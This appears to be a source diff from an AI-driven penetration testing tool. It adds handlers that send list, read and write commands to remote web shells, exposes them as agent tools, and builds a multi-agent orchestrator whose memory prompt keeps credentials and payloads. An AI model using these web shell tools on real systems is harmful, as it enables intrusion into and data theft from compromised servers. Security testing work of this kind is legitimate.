// FileOpWithConnection 在指定 WebShell 连接上执行文件操作(供 MCP/Agent 调用),支持 list / read / write
func (h *WebShellHandler) FileOpWithConnection(conn *database.WebShellConnection, action, path, content, targetPath string) (output string, ok bool, errMsg string) {
if conn == nil {
return "", false, "connection is nil"
}
action = strings.ToLower(strings.TrimSpace(action))
shellType := strings.ToLower(strings.TrimSpace(conn.Type))
if shellType == "" {
shellType = "php"
}
var command string
switch action {
case "list":
if path == "" {
path = "."
}
if shellType == "asp" || shellType == "aspx" {
command = "dir " + h.escapePath(strings.TrimSpace(path))
} else {
command = "ls -la " + h.escapePath(strings.TrimSpace(path))
}
case "read":
path = strings.TrimSpace(path)
if path == "" {
return "", false, "path is required for read"
}
if shellType == "asp" || shellType == "aspx" {
command = "type " + h.escapePath(path)
} else {
command = "cat " + h.escapePath(path)
}
case "write":
path = strings.TrimSpace(path)
if path == "" {
return "", false, "path is required for write"
}
command = "echo " + h.escapeForEcho(content) + " > " + h.escapePath(path)
default:
return "", false, "unsupported action: " + action + " (supported: list, read, write)"
}
useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET"
cmdParam := strings.TrimSpace(conn.CmdParam)
if cmdParam == "" {
cmdParam = "cmd"
}
var httpReq *http.Request
var err error
if useGET {
targetURL := h.buildExecURL(conn.URL, conn.Type, conn.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
} else {
body := h.buildExecBody(conn.Type, conn.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodPost, conn.URL, bytes.NewReader(body))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
return "", false, err.Error()
}
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
resp, err := h.client.Do(httpReq)
if err != nil {
return "", false, err.Error()
}
defer resp.Body.Close()
out, _ := io.ReadAll(resp.Body)
return string(out), resp.StatusCode == http.StatusOK, ""
}
+15 -1
View File
@@ -13,6 +13,12 @@ const (
// Skills工具
ToolListSkills = "list_skills"
ToolReadSkill = "read_skill"
// WebShell 助手工具(AI 在 WebShell 管理 - AI 助手 中使用)
ToolWebshellExec = "webshell_exec"
ToolWebshellFileList = "webshell_file_list"
ToolWebshellFileRead = "webshell_file_read"
ToolWebshellFileWrite = "webshell_file_write"
)
// IsBuiltinTool 检查工具名称是否是内置工具
@@ -22,7 +28,11 @@ func IsBuiltinTool(toolName string) bool {
ToolListKnowledgeRiskTypes,
ToolSearchKnowledgeBase,
ToolListSkills,
ToolReadSkill:
ToolReadSkill,
ToolWebshellExec,
ToolWebshellFileList,
ToolWebshellFileRead,
ToolWebshellFileWrite:
return true
default:
return false
@@ -37,5 +47,9 @@ func GetAllBuiltinTools() []string {
ToolSearchKnowledgeBase,
ToolListSkills,
ToolReadSkill,
ToolWebshellExec,
ToolWebshellFileList,
ToolWebshellFileRead,
ToolWebshellFileWrite,
}
}
+140
View File
@@ -0,0 +1,140 @@
package multiagent
import (
"context"
"fmt"
"strings"
"cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/config"
"github.com/bytedance/sonic"
"github.com/cloudwego/eino/adk"
"github.com/cloudwego/eino/adk/middlewares/summarization"
"github.com/cloudwego/eino/components/model"
"github.com/cloudwego/eino/schema"
"go.uber.org/zap"
)
// einoSummarizeUserInstruction 与单 Agent MemoryCompressor 目标一致:压缩时保留渗透关键信息。
const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史
必须保留已确认漏洞与攻击路径工具输出中的核心发现凭证与认证细节架构与薄弱点当前进度失败尝试与死路策略决策
保留精确技术细节URL路径参数Payload版本号报错原文可摘要但要点不丢
将冗长扫描输出概括为结论重复发现合并表述
输出须使后续代理能无缝继续同一授权测试任务`
// newEinoSummarizationMiddleware 使用 Eino ADK Summarization 中间件(见 https://www.cloudwego.io/zh/docs/eino/core_modules/eino_adk/eino_adk_chatmodelagentmiddleware/middleware_summarization/)。
// 触发阈值与单 Agent MemoryCompressor 一致:当估算 token 超过 openai.max_total_tokens 的 90% 时摘要。
func newEinoSummarizationMiddleware(
ctx context.Context,
summaryModel model.BaseChatModel,
appCfg *config.Config,
logger *zap.Logger,
) (adk.ChatModelAgentMiddleware, error) {
if summaryModel == nil || appCfg == nil {
return nil, fmt.Errorf("multiagent: summarization 需要 model 与配置")
}
maxTotal := appCfg.OpenAI.MaxTotalTokens
if maxTotal <= 0 {
maxTotal = 120000
}
trigger := int(float64(maxTotal) * 0.9)
if trigger < 4096 {
trigger = maxTotal
if trigger < 4096 {
trigger = 4096
}
}
preserveMax := trigger / 3
if preserveMax < 2048 {
preserveMax = 2048
}
modelName := strings.TrimSpace(appCfg.OpenAI.Model)
if modelName == "" {
modelName = "gpt-4o"
}
mw, err := summarization.New(ctx, &summarization.Config{
Model: summaryModel,
Trigger: &summarization.TriggerCondition{
ContextTokens: trigger,
},
TokenCounter: einoSummarizationTokenCounter(modelName),
UserInstruction: einoSummarizeUserInstruction,
EmitInternalEvents: false,
PreserveUserMessages: &summarization.PreserveUserMessages{
Enabled: true,
MaxTokens: preserveMax,
},
Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error {
if logger == nil {
return nil
}
logger.Info("eino summarization 已压缩上下文",
zap.Int("messages_before", len(before.Messages)),
zap.Int("messages_after", len(after.Messages)),
zap.Int("max_total_tokens", maxTotal),
zap.Int("trigger_context_tokens", trigger),
)
return nil
},
})
if err != nil {
return nil, fmt.Errorf("summarization.New: %w", err)
}
return mw, nil
}
func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
tc := agent.NewTikTokenCounter()
return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {
var sb strings.Builder
for _, msg := range input.Messages {
if msg == nil {
continue
}
sb.WriteString(string(msg.Role))
sb.WriteByte('\n')
if msg.Content != "" {
sb.WriteString(msg.Content)
sb.WriteByte('\n')
}
if msg.ReasoningContent != "" {
sb.WriteString(msg.ReasoningContent)
sb.WriteByte('\n')
}
if len(msg.ToolCalls) > 0 {
if b, err := sonic.Marshal(msg.ToolCalls); err == nil {
sb.Write(b)
sb.WriteByte('\n')
}
}
for _, part := range msg.UserInputMultiContent {
if part.Type == schema.ChatMessagePartTypeText && part.Text != "" {
sb.WriteString(part.Text)
sb.WriteByte('\n')
}
}
}
for _, tl := range input.Tools {
if tl == nil {
continue
}
cp := *tl
cp.Extra = nil
if text, err := sonic.MarshalString(cp); err == nil {
sb.WriteString(text)
sb.WriteByte('\n')
}
}
text := sb.String()
n, err := tc.Count(openAIModel, text)
if err != nil {
return (len(text) + 3) / 4, nil
}
return n, nil
}
}
+62
View File
@@ -0,0 +1,62 @@
package multiagent
import (
"context"
"strings"
"github.com/cloudwego/eino/adk"
"github.com/cloudwego/eino/components/tool"
)
// noNestedTaskMiddleware 禁止在已经处于 task(sub-agent) 执行链中再次调用 task
// 避免子代理再次委派子代理造成的无限委派/递归。
//
// 通过在 ctx 中设置临时标记来实现嵌套检测:外层 task 调用会先标记 ctx,
// 子代理内再调用 task 时会命中该标记并拒绝。
type noNestedTaskMiddleware struct {
adk.BaseChatModelAgentMiddleware
}
type nestedTaskCtxKey struct{}
func newNoNestedTaskMiddleware() adk.ChatModelAgentMiddleware {
return &noNestedTaskMiddleware{}
}
func (m *noNestedTaskMiddleware) WrapInvokableToolCall(
ctx context.Context,
endpoint adk.InvokableToolCallEndpoint,
tCtx *adk.ToolContext,
) (adk.InvokableToolCallEndpoint, error) {
if tCtx == nil || strings.TrimSpace(tCtx.Name) == "" {
return endpoint, nil
}
// Deep 内置 task 工具名固定为 "task";为兼容可能的大小写/空白,仅做不区分大小写匹配。
if !strings.EqualFold(strings.TrimSpace(tCtx.Name), "task") {
return endpoint, nil
}
// 已在 task 执行链中:拒绝继续委派,直接报错让上层快速终止。
if ctx != nil {
if v, ok := ctx.Value(nestedTaskCtxKey{}).(bool); ok && v {
return func(ctx context.Context, argumentsInJSON string, opts ...tool.Option) (string, error) {
// Important: return a tool result text (not an error) to avoid hard-stopping the whole multi-agent run.
// The nested task is still prevented from spawning another sub-agent, so recursion is avoided.
_ = argumentsInJSON
_ = opts
return "Nested task delegation is forbidden (already inside a sub-agent delegation chain) to avoid infinite delegation. Please continue the work using the current agent's tools.", nil
}, nil
}
}
// 标记当前 task 调用链,确保子代理内的再次 task 调用能检测到嵌套。
return func(ctx context.Context, argumentsInJSON string, opts ...tool.Option) (string, error) {
ctx2 := ctx
if ctx2 == nil {
ctx2 = context.Background()
}
ctx2 = context.WithValue(ctx2, nestedTaskCtxKey{}, true)
return endpoint(ctx2, argumentsInJSON, opts...)
}, nil
}
+764
View File
@@ -0,0 +1,764 @@
// Package multiagent 使用 CloudWeGo Eino 的 DeepAgentadk/prebuilt/deep)编排多代理,MCP 工具经 einomcp 桥接到现有 Agent。
package multiagent
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net"
"net/http"
"sort"
"strings"
"sync"
"sync/atomic"
"time"
"cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/agents"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/einomcp"
einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
"github.com/cloudwego/eino/adk"
"github.com/cloudwego/eino/adk/prebuilt/deep"
"github.com/cloudwego/eino/compose"
"github.com/cloudwego/eino/schema"
"go.uber.org/zap"
)
// RunResult 与单 Agent 循环结果字段对齐,便于复用存储与 SSE 收尾逻辑。
type RunResult struct {
Response string
MCPExecutionIDs []string
LastReActInput string
LastReActOutput string
}
// RunDeepAgent 使用 Eino DeepAgent 执行一轮对话(流式事件通过 progress 回调输出)。
func RunDeepAgent(
ctx context.Context,
appCfg *config.Config,
ma *config.MultiAgentConfig,
ag *agent.Agent,
logger *zap.Logger,
conversationID string,
userMessage string,
history []agent.ChatMessage,
roleTools []string,
progress func(eventType, message string, data interface{}),
agentsMarkdownDir string,
) (*RunResult, error) {
if appCfg == nil || ma == nil || ag == nil {
return nil, fmt.Errorf("multiagent: 配置或 Agent 为空")
}
effectiveSubs := ma.SubAgents
var orch *agents.OrchestratorMarkdown
if strings.TrimSpace(agentsMarkdownDir) != "" {
load, merr := agents.LoadMarkdownAgentsDir(agentsMarkdownDir)
if merr != nil {
if logger != nil {
logger.Warn("加载 agents 目录 Markdown 失败,沿用 config 中的 sub_agents", zap.Error(merr))
}
} else {
effectiveSubs = agents.MergeYAMLAndMarkdown(ma.SubAgents, load.SubAgents)
orch = load.Orchestrator
}
}
if ma.WithoutGeneralSubAgent && len(effectiveSubs) == 0 {
return nil, fmt.Errorf("multi_agent.without_general_sub_agent 为 true 时,必须在 multi_agent.sub_agents 或 agents 目录 Markdown 中配置至少一个子代理")
}
holder := &einomcp.ConversationHolder{}
holder.Set(conversationID)
var mcpIDsMu sync.Mutex
var mcpIDs []string
recorder := func(id string) {
if id == "" {
return
}
mcpIDsMu.Lock()
mcpIDs = append(mcpIDs, id)
mcpIDsMu.Unlock()
}
// 与单代理流式一致:在 response_start / response_delta 的 data 中带当前 mcpExecutionIds,供主聊天绑定复制与展示。
snapshotMCPIDs := func() []string {
mcpIDsMu.Lock()
defer mcpIDsMu.Unlock()
out := make([]string, len(mcpIDs))
copy(out, mcpIDs)
return out
}
mainDefs := ag.ToolsForRole(roleTools)
toolOutputChunk := func(toolName, toolCallID, chunk string) {
// When toolCallId is missing, frontend ignores tool_result_delta.
if progress == nil || toolCallID == "" {
return
}
progress("tool_result_delta", chunk, map[string]interface{}{
"toolName": toolName,
"toolCallId": toolCallID,
// index/total/iteration are optional for UI; we don't know them in this bridge.
"index": 0,
"total": 0,
"iteration": 0,
"source": "eino",
})
}
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, toolOutputChunk)
if err != nil {
return nil, err
}
httpClient := &http.Client{
Timeout: 30 * time.Minute,
Transport: &http.Transport{
DialContext: (&net.Dialer{
Timeout: 300 * time.Second,
KeepAlive: 300 * time.Second,
}).DialContext,
MaxIdleConns: 100,
MaxIdleConnsPerHost: 10,
IdleConnTimeout: 90 * time.Second,
TLSHandshakeTimeout: 30 * time.Second,
ResponseHeaderTimeout: 60 * time.Minute,
},
}
baseModelCfg := &einoopenai.ChatModelConfig{
APIKey: appCfg.OpenAI.APIKey,
BaseURL: strings.TrimSuffix(appCfg.OpenAI.BaseURL, "/"),
Model: appCfg.OpenAI.Model,
HTTPClient: httpClient,
}
deepMaxIter := ma.MaxIteration
if deepMaxIter <= 0 {
deepMaxIter = appCfg.Agent.MaxIterations
}
if deepMaxIter <= 0 {
deepMaxIter = 40
}
subDefaultIter := ma.SubAgentMaxIterations
if subDefaultIter <= 0 {
subDefaultIter = 20
}
subAgents := make([]adk.Agent, 0, len(effectiveSubs))
for _, sub := range effectiveSubs {
id := strings.TrimSpace(sub.ID)
if id == "" {
return nil, fmt.Errorf("multi_agent.sub_agents 中存在空的 id")
}
name := strings.TrimSpace(sub.Name)
if name == "" {
name = id
}
desc := strings.TrimSpace(sub.Description)
if desc == "" {
desc = fmt.Sprintf("Specialist agent %s for penetration testing workflow.", id)
}
instr := strings.TrimSpace(sub.Instruction)
if instr == "" {
instr = "你是 CyberStrikeAI 中的专业子代理,在授权渗透测试场景下协助完成用户委托的子任务。优先使用可用工具获取证据,回答简洁专业。"
}
roleTools := sub.RoleTools
bind := strings.TrimSpace(sub.BindRole)
if bind != "" && appCfg.Roles != nil {
if r, ok := appCfg.Roles[bind]; ok && r.Enabled {
if len(roleTools) == 0 && len(r.Tools) > 0 {
roleTools = r.Tools
}
if len(r.Skills) > 0 {
var b strings.Builder
b.WriteString(instr)
b.WriteString("\n\n本角色推荐通过 list_skills / read_skill 按需加载的 Skills")
for i, s := range r.Skills {
if i > 0 {
b.WriteString("、")
}
b.WriteString(s)
}
b.WriteString("。")
instr = b.String()
}
}
}
subModel, err := einoopenai.NewChatModel(ctx, baseModelCfg)
if err != nil {
return nil, fmt.Errorf("子代理 %q ChatModel: %w", id, err)
}
subDefs := ag.ToolsForRole(roleTools)
subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder, toolOutputChunk)
if err != nil {
return nil, fmt.Errorf("子代理 %q 工具: %w", id, err)
}
subMax := sub.MaxIterations
if subMax <= 0 {
subMax = subDefaultIter
}
subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, logger)
if err != nil {
return nil, fmt.Errorf("子代理 %q summarization 中间件: %w", id, err)
}
sa, err := adk.NewChatModelAgent(ctx, &adk.ChatModelAgentConfig{
Name: id,
Description: desc,
Instruction: instr,
Model: subModel,
ToolsConfig: adk.ToolsConfig{
ToolsNodeConfig: compose.ToolsNodeConfig{
Tools: subTools,
},
EmitInternalEvents: true,
},
MaxIterations: subMax,
Handlers: []adk.ChatModelAgentMiddleware{subSumMw},
})
if err != nil {
return nil, fmt.Errorf("子代理 %q: %w", id, err)
}
subAgents = append(subAgents, sa)
}
mainModel, err := einoopenai.NewChatModel(ctx, baseModelCfg)
if err != nil {
return nil, fmt.Errorf("Deep 主模型: %w", err)
}
mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, logger)
if err != nil {
return nil, fmt.Errorf("Deep 主代理 summarization 中间件: %w", err)
}
// 与 deep.Config.Name 一致。子代理的 assistant 正文也会经 EmitInternalEvents 流出,若全部当主回复会重复(编排器总结 + 子代理原文)。
orchestratorName := "cyberstrike-deep"
orchDescription := "Coordinates specialist agents and MCP tools for authorized security testing."
orchInstruction := strings.TrimSpace(ma.OrchestratorInstruction)
if orch != nil {
if strings.TrimSpace(orch.EinoName) != "" {
orchestratorName = strings.TrimSpace(orch.EinoName)
}
if d := strings.TrimSpace(orch.Description); d != "" {
orchDescription = d
}
if ins := strings.TrimSpace(orch.Instruction); ins != "" {
orchInstruction = ins
}
}
da, err := deep.New(ctx, &deep.Config{
Name: orchestratorName,
Description: orchDescription,
ChatModel: mainModel,
Instruction: orchInstruction,
SubAgents: subAgents,
WithoutGeneralSubAgent: ma.WithoutGeneralSubAgent,
WithoutWriteTodos: ma.WithoutWriteTodos,
MaxIteration: deepMaxIter,
// 防止 sub-agent 再调用 task(再委派 sub-agent),形成无限委派链。
Handlers: []adk.ChatModelAgentMiddleware{
newNoNestedTaskMiddleware(),
mainSumMw,
},
ToolsConfig: adk.ToolsConfig{
ToolsNodeConfig: compose.ToolsNodeConfig{
Tools: mainTools,
},
EmitInternalEvents: true,
},
})
if err != nil {
return nil, fmt.Errorf("deep.New: %w", err)
}
msgs := historyToMessages(history)
msgs = append(msgs, schema.UserMessage(userMessage))
runner := adk.NewRunner(ctx, adk.RunnerConfig{
Agent: da,
EnableStreaming: true,
})
iter := runner.Run(ctx, msgs)
streamsMainAssistant := func(agent string) bool {
return agent == "" || agent == orchestratorName
}
var lastAssistant string
var reasoningStreamSeq int64
var einoSubReplyStreamSeq int64
toolEmitSeen := make(map[string]struct{})
for {
ev, ok := iter.Next()
if !ok {
break
}
if ev == nil {
continue
}
if ev.Err != nil {
if progress != nil {
progress("error", ev.Err.Error(), map[string]interface{}{
"conversationId": conversationID,
"source": "eino",
})
}
return nil, ev.Err
}
if ev.AgentName != "" && progress != nil {
progress("progress", fmt.Sprintf("[Eino] %s", ev.AgentName), map[string]interface{}{
"conversationId": conversationID,
"einoAgent": ev.AgentName,
})
}
if ev.Output == nil || ev.Output.MessageOutput == nil {
continue
}
mv := ev.Output.MessageOutput
if mv.IsStreaming && mv.MessageStream != nil {
streamHeaderSent := false
var reasoningStreamID string
var toolStreamFragments []schema.ToolCall
var subAssistantBuf strings.Builder
var subReplyStreamID string
for {
chunk, rerr := mv.MessageStream.Recv()
if rerr != nil {
if errors.Is(rerr, io.EOF) {
break
}
if logger != nil {
logger.Warn("eino stream recv", zap.Error(rerr))
}
break
}
if chunk == nil {
continue
}
if progress != nil && strings.TrimSpace(chunk.ReasoningContent) != "" {
if reasoningStreamID == "" {
reasoningStreamID = fmt.Sprintf("eino-reasoning-%s-%d", conversationID, atomic.AddInt64(&reasoningStreamSeq, 1))
progress("thinking_stream_start", " ", map[string]interface{}{
"streamId": reasoningStreamID,
"source": "eino",
"einoAgent": ev.AgentName,
})
}
progress("thinking_stream_delta", chunk.ReasoningContent, map[string]interface{}{
"streamId": reasoningStreamID,
})
}
if chunk.Content != "" {
if progress != nil && streamsMainAssistant(ev.AgentName) {
if !streamHeaderSent {
progress("response_start", "", map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": snapshotMCPIDs(),
"messageGeneratedBy": "eino:" + ev.AgentName,
})
streamHeaderSent = true
}
progress("response_delta", chunk.Content, map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": snapshotMCPIDs(),
})
lastAssistant += chunk.Content
} else if !streamsMainAssistant(ev.AgentName) {
if progress != nil {
if subReplyStreamID == "" {
subReplyStreamID = fmt.Sprintf("eino-sub-reply-%s-%d", conversationID, atomic.AddInt64(&einoSubReplyStreamSeq, 1))
progress("eino_agent_reply_stream_start", "", map[string]interface{}{
"streamId": subReplyStreamID,
"einoAgent": ev.AgentName,
"conversationId": conversationID,
"source": "eino",
})
}
progress("eino_agent_reply_stream_delta", chunk.Content, map[string]interface{}{
"streamId": subReplyStreamID,
"conversationId": conversationID,
})
}
subAssistantBuf.WriteString(chunk.Content)
}
}
// 收集流式 tool_calls 全部分片;arguments 在最后一帧常为 "",需按 index/id 合并后才能展示 subagent_type/description。
if len(chunk.ToolCalls) > 0 {
toolStreamFragments = append(toolStreamFragments, chunk.ToolCalls...)
}
}
if subAssistantBuf.Len() > 0 && progress != nil {
if s := strings.TrimSpace(subAssistantBuf.String()); s != "" {
if subReplyStreamID != "" {
progress("eino_agent_reply_stream_end", s, map[string]interface{}{
"streamId": subReplyStreamID,
"einoAgent": ev.AgentName,
"conversationId": conversationID,
"source": "eino",
})
} else {
progress("eino_agent_reply", s, map[string]interface{}{
"conversationId": conversationID,
"einoAgent": ev.AgentName,
"source": "eino",
})
}
}
}
var lastToolChunk *schema.Message
if merged := mergeStreamingToolCallFragments(toolStreamFragments); len(merged) > 0 {
lastToolChunk = &schema.Message{ToolCalls: merged}
}
tryEmitToolCallsOnce(lastToolChunk, ev.AgentName, conversationID, progress, toolEmitSeen)
continue
}
msg, gerr := mv.GetMessage()
if gerr != nil || msg == nil {
continue
}
tryEmitToolCallsOnce(mergeMessageToolCalls(msg), ev.AgentName, conversationID, progress, toolEmitSeen)
if mv.Role == schema.Assistant {
if progress != nil && strings.TrimSpace(msg.ReasoningContent) != "" {
progress("thinking", strings.TrimSpace(msg.ReasoningContent), map[string]interface{}{
"conversationId": conversationID,
"source": "eino",
"einoAgent": ev.AgentName,
})
}
body := strings.TrimSpace(msg.Content)
if body != "" {
if streamsMainAssistant(ev.AgentName) {
if progress != nil {
progress("response_start", "", map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": snapshotMCPIDs(),
"messageGeneratedBy": "eino:" + ev.AgentName,
})
progress("response_delta", body, map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": snapshotMCPIDs(),
})
}
lastAssistant += body
} else if progress != nil {
progress("eino_agent_reply", body, map[string]interface{}{
"conversationId": conversationID,
"einoAgent": ev.AgentName,
"source": "eino",
})
}
}
}
if mv.Role == schema.Tool && progress != nil {
toolName := msg.ToolName
if toolName == "" {
toolName = mv.ToolName
}
// bridge 工具在 res.IsError=true 时会返回带前缀的内容;这里解析为 success/isError,避免前端误判为成功。
content := msg.Content
isErr := false
if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
isErr = true
content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
}
preview := content
if len(preview) > 200 {
preview = preview[:200] + "..."
}
data := map[string]interface{}{
"toolName": toolName,
"success": !isErr,
"isError": isErr,
"result": content,
"resultPreview": preview,
"conversationId": conversationID,
"einoAgent": ev.AgentName,
"source": "eino",
}
if msg.ToolCallID != "" {
data["toolCallId"] = msg.ToolCallID
}
progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
}
}
mcpIDsMu.Lock()
ids := append([]string(nil), mcpIDs...)
mcpIDsMu.Unlock()
histJSON, _ := json.Marshal(msgs)
cleaned := strings.TrimSpace(lastAssistant)
cleaned = dedupeRepeatedParagraphs(cleaned, 80)
cleaned = dedupeParagraphsByLineFingerprint(cleaned, 100)
out := &RunResult{
Response: cleaned,
MCPExecutionIDs: ids,
LastReActInput: string(histJSON),
LastReActOutput: cleaned,
}
if out.Response == "" {
out.Response = "Eino DeepAgent 已完成,但未捕获到助手文本输出。请查看过程详情或日志。)"
out.LastReActOutput = out.Response
}
return out, nil
}
func historyToMessages(history []agent.ChatMessage) []adk.Message {
if len(history) == 0 {
return nil
}
// 放宽条数上限:跨轮历史交给 Eino Summarization(阈值对齐 openai.max_total_tokens)在调用模型前压缩,避免在入队前硬截断为 40 条。
const maxHistoryMessages = 300
start := 0
if len(history) > maxHistoryMessages {
start = len(history) - maxHistoryMessages
}
out := make([]adk.Message, 0, len(history[start:]))
for _, h := range history[start:] {
switch h.Role {
case "user":
if strings.TrimSpace(h.Content) != "" {
out = append(out, schema.UserMessage(h.Content))
}
case "assistant":
if strings.TrimSpace(h.Content) == "" && len(h.ToolCalls) > 0 {
continue
}
if strings.TrimSpace(h.Content) != "" {
out = append(out, schema.AssistantMessage(h.Content, nil))
}
default:
continue
}
}
return out
}
// mergeStreamingToolCallFragments 将流式多帧的 ToolCall 按 index 合并 arguments(与 schema.concatToolCalls 行为一致)。
func mergeStreamingToolCallFragments(fragments []schema.ToolCall) []schema.ToolCall {
if len(fragments) == 0 {
return nil
}
m, err := schema.ConcatMessages([]*schema.Message{{ToolCalls: fragments}})
if err != nil || m == nil {
return fragments
}
return m.ToolCalls
}
// mergeMessageToolCalls 非流式路径上若仍带分片式 tool_calls,合并后再上报 UI。
func mergeMessageToolCalls(msg *schema.Message) *schema.Message {
if msg == nil || len(msg.ToolCalls) == 0 {
return msg
}
m, err := schema.ConcatMessages([]*schema.Message{msg})
if err != nil || m == nil {
return msg
}
out := *msg
out.ToolCalls = m.ToolCalls
return &out
}
// toolCallStableID 用于流式阶段去重;OpenAI 流式常先给 index 后补 id。
func toolCallStableID(tc schema.ToolCall) string {
if tc.ID != "" {
return tc.ID
}
if tc.Index != nil {
return fmt.Sprintf("idx:%d", *tc.Index)
}
return ""
}
// toolCallDisplayName 避免前端「未知工具」:DeepAgent 内置 task 等可能延迟写入 function.name。
func toolCallDisplayName(tc schema.ToolCall) string {
if n := strings.TrimSpace(tc.Function.Name); n != "" {
return n
}
if n := strings.TrimSpace(tc.Type); n != "" && !strings.EqualFold(n, "function") {
return n
}
return "task"
}
// toolCallsSignatureFlush 用于去重键;无 id/index 时用占位 pos,避免流末帧缺 id 时整条工具事件丢失。
func toolCallsSignatureFlush(msg *schema.Message) string {
if msg == nil || len(msg.ToolCalls) == 0 {
return ""
}
parts := make([]string, 0, len(msg.ToolCalls))
for i, tc := range msg.ToolCalls {
id := toolCallStableID(tc)
if id == "" {
id = fmt.Sprintf("pos:%d", i)
}
parts = append(parts, id+"|"+toolCallDisplayName(tc))
}
sort.Strings(parts)
return strings.Join(parts, ";")
}
// toolCallsRichSignature 用于去重:同一次流式已上报后,紧随其后的非流式消息常带相同 tool_calls。
func toolCallsRichSignature(msg *schema.Message) string {
base := toolCallsSignatureFlush(msg)
if base == "" {
return ""
}
parts := make([]string, 0, len(msg.ToolCalls))
for _, tc := range msg.ToolCalls {
id := toolCallStableID(tc)
arg := tc.Function.Arguments
if len(arg) > 240 {
arg = arg[:240]
}
parts = append(parts, id+":"+arg)
}
sort.Strings(parts)
return base + "|" + strings.Join(parts, ";")
}
func tryEmitToolCallsOnce(msg *schema.Message, agentName, conversationID string, progress func(string, string, interface{}), seen map[string]struct{}) {
if msg == nil || len(msg.ToolCalls) == 0 || progress == nil || seen == nil {
return
}
if toolCallsSignatureFlush(msg) == "" {
return
}
sig := agentName + "\x1e" + toolCallsRichSignature(msg)
if _, ok := seen[sig]; ok {
return
}
seen[sig] = struct{}{}
emitToolCallsFromMessage(msg, agentName, conversationID, progress)
}
func emitToolCallsFromMessage(msg *schema.Message, agentName, conversationID string, progress func(string, string, interface{})) {
if msg == nil || len(msg.ToolCalls) == 0 || progress == nil {
return
}
progress("tool_calls_detected", fmt.Sprintf("检测到 %d 个工具调用", len(msg.ToolCalls)), map[string]interface{}{
"count": len(msg.ToolCalls),
"conversationId": conversationID,
"source": "eino",
"einoAgent": agentName,
})
for idx, tc := range msg.ToolCalls {
argStr := strings.TrimSpace(tc.Function.Arguments)
if argStr == "" && len(tc.Extra) > 0 {
if b, mErr := json.Marshal(tc.Extra); mErr == nil {
argStr = string(b)
}
}
var argsObj map[string]interface{}
if argStr != "" {
if uErr := json.Unmarshal([]byte(argStr), &argsObj); uErr != nil || argsObj == nil {
argsObj = map[string]interface{}{"_raw": argStr}
}
}
display := toolCallDisplayName(tc)
toolCallID := tc.ID
if toolCallID == "" && tc.Index != nil {
toolCallID = fmt.Sprintf("eino-stream-%d", *tc.Index)
}
progress("tool_call", fmt.Sprintf("正在调用工具: %s", display), map[string]interface{}{
"toolName": display,
"arguments": argStr,
"argumentsObj": argsObj,
"toolCallId": toolCallID,
"index": idx + 1,
"total": len(msg.ToolCalls),
"conversationId": conversationID,
"source": "eino",
"einoAgent": agentName,
})
}
}
// dedupeRepeatedParagraphs 去掉完全相同的连续/重复段落,缓解多代理各自复述同一列表。
func dedupeRepeatedParagraphs(s string, minLen int) string {
if s == "" || minLen <= 0 {
return s
}
paras := strings.Split(s, "\n\n")
var out []string
seen := make(map[string]bool)
for _, p := range paras {
t := strings.TrimSpace(p)
if len(t) < minLen {
out = append(out, p)
continue
}
if seen[t] {
continue
}
seen[t] = true
out = append(out, p)
}
return strings.TrimSpace(strings.Join(out, "\n\n"))
}
// dedupeParagraphsByLineFingerprint 去掉「正文行集合相同」的重复段落(开场白略不同也会合并),缓解多代理各写一遍目录清单。
func dedupeParagraphsByLineFingerprint(s string, minParaLen int) string {
if s == "" || minParaLen <= 0 {
return s
}
paras := strings.Split(s, "\n\n")
var out []string
seen := make(map[string]bool)
for _, p := range paras {
t := strings.TrimSpace(p)
if len(t) < minParaLen {
out = append(out, p)
continue
}
fp := paragraphLineFingerprint(t)
// 指纹仅在「≥4 条非空行」时有效;单行/短段落长回复(如自我介绍)fp 为空,必须保留,否则会误删全文并触发「未捕获到助手文本」占位。
if fp == "" {
out = append(out, p)
continue
}
if seen[fp] {
continue
}
seen[fp] = true
out = append(out, p)
}
return strings.TrimSpace(strings.Join(out, "\n\n"))
}
func paragraphLineFingerprint(t string) string {
lines := strings.Split(t, "\n")
norm := make([]string, 0, len(lines))
for _, L := range lines {
s := strings.TrimSpace(L)
if s == "" {
continue
}
norm = append(norm, s)
}
if len(norm) < 4 {
return ""
}
sort.Strings(norm)
return strings.Join(norm, "\x1e")
}
+340
View File
@@ -1,6 +1,7 @@
package openai
import (
"bufio"
"bytes"
"context"
"encoding/json"
@@ -142,3 +143,342 @@ func (c *Client) ChatCompletion(ctx context.Context, payload interface{}, out in
return nil
}
// ChatCompletionStream 调用 /chat/completions 的流式模式(stream=true),并在每个 delta 到达时回调 onDelta。
// 返回最终拼接的 content(只拼 content delta;工具调用 delta 未做处理)。
func (c *Client) ChatCompletionStream(ctx context.Context, payload interface{}, onDelta func(delta string) error) (string, error) {
if c == nil {
return "", fmt.Errorf("openai client is not initialized")
}
if c.config == nil {
return "", fmt.Errorf("openai config is nil")
}
if strings.TrimSpace(c.config.APIKey) == "" {
return "", fmt.Errorf("openai api key is empty")
}
baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
if baseURL == "" {
